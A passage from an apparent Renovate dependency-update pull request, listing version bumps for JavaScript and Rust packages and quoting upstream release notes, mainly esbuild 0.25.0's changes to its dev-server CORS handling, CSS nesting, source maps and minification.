| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` -> `3.5.0`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` -> `3.5.0`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-virtuoso](https://virtuoso.dev/) ([source](https://redirect.github.com/petyosi/react-virtuoso)) | [`4.12.3` -> `4.12.5`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.3/4.12.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-virtuoso/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-virtuoso/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-virtuoso/4.12.3/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-virtuoso/4.12.3/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.6` -> `0.27.7`](https://renovatebot.com/diffs/npm/typedoc/0.27.6/0.27.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.6/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.6/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.744.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37440-2025-02-07)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.743.0...v3.744.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/50349975e5a0b81595f6f91ea0747910cf9c7aeb))
-   add close function to unified javascript interface ([c3d9079](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/c3d9079cabf4b5c6ea6f6b722cd487cf47e74fa1))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/c5eae97a6aa207c9e36121e61530c395a28fffa8))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/171ea27931b36b358c6e34ee80ed89380e0c0fb7))
-   add warning ([84470ae](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/84470ae1c32dbdbcea0ab206367227c270f1b75d))
-   allow inline video ([1368f2a](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/1368f2a4f0eb2b8cb95a91f7c5b23430ae129bce))
-   better definition ([588cc88](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/588cc8843845b2d5c29212d8b767908109264555))
-   CICD ([ee7ef04](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/ee7ef0430ae4b092717f825098db18a86ed07930))
-   order of doc ([71d8923](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/71d892399685d4e67b67a02ee056c51c8f1d912f))
-   versions ([941aabe](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/941aabee33049624f20030ae044a1fde20f8afb7))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/d3df47cfef62a89da4f96e0db9d0010a5a4aa6ef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/89cd832f9699e449e0df684fd2949e41991020f2))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/e30874ebe18d44e39aef60c66bbdf61ad87a0608))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/df0bb198a62cd776925b1622287760845560a7df))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/05160433128222187fff8b12632b711cb7a99b12))
-   openWebView has stopped hiding the phone's status bar. ([465a035](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/465a03561ff8b39b94a9d25396771bbdecf42bc3))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/6154e5422c470786d1402c45e432217675347742))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/commit/ec6a9c220580db66777f0a3886a29eba5d9d7aa4))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.20.0`](https://redirect.github.com/eslint/eslint/compare/v9.19.0...031734efcb27e0d800da7ec32f5d5dae55f80564)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.19.0...v9.20.0)

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.15`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11015---2025-02-08)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.14...v1.10.15)

##### Bug Fixes

-   **(es/fixer)** Wrap object tagged templates ([#&#8203;9991](https://redirect.github.com/swc-project/swc/issues/9991)) ([963c3a5](https://redirect.github.com/swc-project/swc/commit/963c3a58c8ec05a381b61724ee9930093cf65b8f))

-   **(es/minifier)** Dont't optimize swtich case before DCE ([#&#8203;9994](https://redirect.github.com/swc-project/swc/issues/9994)) ([afe21b5](https://redirect.github.com/swc-project/swc/commit/afe21b5e71edb8cee5ba4335a193fb8a309bb43b))

-   **(es/minifier)** Revert [#&#8203;10006](https://redirect.github.com/swc-project/swc/issues/10006) ([#&#8203;10007](https://redirect.github.com/swc-project/swc/issues/10007)) ([7e21323](https://redirect.github.com/swc-project/swc/commit/7e21323b3bedc0552634da5d6c34f33fb2c5bad6))

-   **(es/parser, es/codegen)** Handle trailing empty slots in array patterns ([#&#8203;9992](https://redirect.github.com/swc-project/swc/issues/9992)) ([1a87e76](https://redirect.github.com/swc-project/swc/commit/1a87e76e95566eb998bf81bde1e77dc14eb42fda))

-   **(es/react)** Avoid adding `__self` in constructors of derived class in the `jsx_self` ([#&#8203;9987](https://redirect.github.com/swc-project/swc/issues/9987)) ([83f24af](https://redirect.github.com/swc-project/swc/commit/83f24afad9114801c897d04bfa7a1525c92686c1))

##### Features

-   **(es/ast)** Add `ShrinkToFit` implementation ([#&#8203;10009](https://redirect.github.com/swc-project/swc/issues/10009)) ([6849b6a](https://redirect.github.com/swc-project/swc/commit/6849b6aba764b06674783f6c0a7d2f26350ea5fe))

-   **(es/helpers)** Update package exports for module-sync and webpack compatibility ([#&#8203;9995](https://redirect.github.com/swc-project/swc/issues/9995)) ([6f4e7ad](https://redirect.github.com/swc-project/swc/commit/6f4e7adce4b476ee33ea8a9a1aa333cbf80c85cc))

-   **(fast-ts)** Support Uint8Array Input ([#&#8203;9879](https://redirect.github.com/swc-project/swc/issues/9879)) ([61ae579](https://redirect.github.com/swc-project/swc/commit/61ae579a1c7c588244317320da42a03541a7f801))

##### Performance

-   **(es/codegen)** Remove needless allocations ([#&#8203;9978](https://redirect.github.com/swc-project/swc/issues/9978)) ([9c89d57](https://redirect.github.com/swc-project/swc/commit/9c89d57cf9f3cd409e003f7b667afc9c87916359))

-   **(es/minifier)** Do not clone from `take_ident_of_pat_if_unused` ([#&#8203;10005](https://redirect.github.com/swc-project/swc/issues/10005)) ([dc3b46e](https://redirect.github.com/swc-project/swc/commit/dc3b46eff9befa898a777308d8588b1ff37e577a))

-   **(es/minifier)** Allocate in once from `mark_property_mutation` ([#&#8203;10004](https://redirect.github.com/swc-project/swc/issues/10004)) ([4a90e51](https://redirect.github.com/swc-project/swc/commit/4a90e5197d337ba1d0851908053d0ad13b17f907))

-   **(es/minifier)** Limit infection analysis by the entry size ([#&#8203;10006](https://redirect.github.com/swc-project/swc/issues/10006)) ([1a3a4b9](https://redirect.github.com/swc-project/swc/commit/1a3a4b936cca1db646a40c0813a7a1275832b604))

-   **(es/minifier)** Make the default pass 2 ([#&#8203;10014](https://redirect.github.com/swc-project/swc/issues/10014)) ([07dc423](https://redirect.github.com/swc-project/swc/commit/07dc423b7f7ee11753338e8a98a65aef087c3468))

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.5`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#405---2025-02-08)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.4...v4.0.5)

##### Added

-   Add `@theme static` option for always including theme variables in compiled CSS ([#&#8203;16211](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16211))

##### Fixed

-   Remove rogue `console.log` from `@tailwindcss/vite` ([#&#8203;16307](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16307))

##### Changed

-   Don't include theme variables that aren't used in compiled CSS ([#&#8203;16211](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16211))

</details>

<details>
<summary>vitejs/vite-plugin-react-swc (@&#8203;vitejs/plugin-react-swc)</summary>

### [`v3.8.0`](https://redirect.github.com/vitejs/vite-plugin-react-swc/blob/HEAD/CHANGELOG.md#380)

[Compare Source](https://redirect.github.com/vitejs/vite-plugin-react-swc/compare/v3.7.2...v3.8.0)

##### Add useAtYourOwnRisk_mutateSwcOptions option

The future of Vite is with OXC, and from the beginning this was a design choice to not exposed too many specialties from SWC so that Vite React users can move to another transformer later.
Also debugging why some specific version of decorators with some other unstable/legacy feature doesn't work is not fun, so we won't provide support for it, hence the name `useAtYourOwnRisk`.

```ts
react({
  useAtYourOwnRisk_mutateSwcOptions(options) {
    options.jsc.parser.decorators = true;
    options.jsAc.transform.decoratorVersion = "2022-03";
  },
});
```

</details>

<details>
<summary>evanw/esbuild (esbuild)</summary>

### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information.

-   Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

    This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

    Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the incoming and/or outgoing requests.

    In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.

    Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) for reporting this issue.

-   Delete output files when a build fails in watch mode ([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

    It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.

-   Fix correctness issues with the CSS nesting transform ([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620), [#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877), [#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933), [#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997), [#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005), [#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037), [#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

    -   Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

        Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for working on a fix.

    -   The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

        Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for working on a fix.

    -   Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

        This fix was contributed by [@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

    -   The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

-   Fix some correctness issues with source maps ([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745), [#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183), [#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613), [#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

    Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:

    -   File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.

    -   Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.

    -   Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/). Many thanks to those who worked on the specification.

-   Fix incorrect package for `@esbuild/netbsd-arm64` ([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

    Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.

-   Fix a minification bug with bitwise operators and bigints ([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

    This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

-   Fix esbuild incorrectly rejecting valid TypeScript edge case ([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

    Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.

-   Transform BigInt values into constructor calls when unsupported ([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

    Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.

    However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.

-   Change how `console` API dropping works ([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

    Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

    With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.

-   Fix a bug with resolve extensions in `node_modules` ([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

    The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.

-   Better minification of statically-determined `switch` cases ([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

    With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')
    switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

-   Emit `/* @&#8203;__KEY__ */` for string literals derived from property names ([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

    Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/) have a convention where a `/* @&#8203;__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.

    However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).

    With this release, esbuild will now generate `/* @&#8203;__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).

-   The `text` loader now strips the UTF-8 BOM if present ([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

